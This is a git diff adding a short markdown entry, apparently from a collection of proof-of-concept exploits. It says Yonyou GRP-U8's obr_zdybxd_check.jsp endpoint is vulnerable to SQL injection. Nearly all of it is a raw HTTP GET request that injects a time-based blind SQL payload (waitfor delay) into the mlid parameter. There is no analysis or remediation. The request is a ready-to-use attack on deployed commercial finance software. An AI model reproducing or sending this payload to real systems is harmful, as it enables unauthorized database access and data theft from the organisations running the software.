diff --git a/用友GRP-U8-obr_zdybxd_check.jsp存在SQL注入.md b/用友GRP-U8-obr_zdybxd_check.jsp存在SQL注入.md
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+## 用友GRP-U8-obr_zdybxd_check.jsp存在SQL注入
+
+## poc
+```
+GET /u8qx/obr_zdybxd_check.jsp?mlid=1';waitfor+delay+'0:0:3'-- HTTP/1.1
+Host: 172.16.135.132:8009
+Cache-Control: max-age=0
+Origin: null
+DNT: 1
+Upgrade-Insecure-Requests: 1
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+```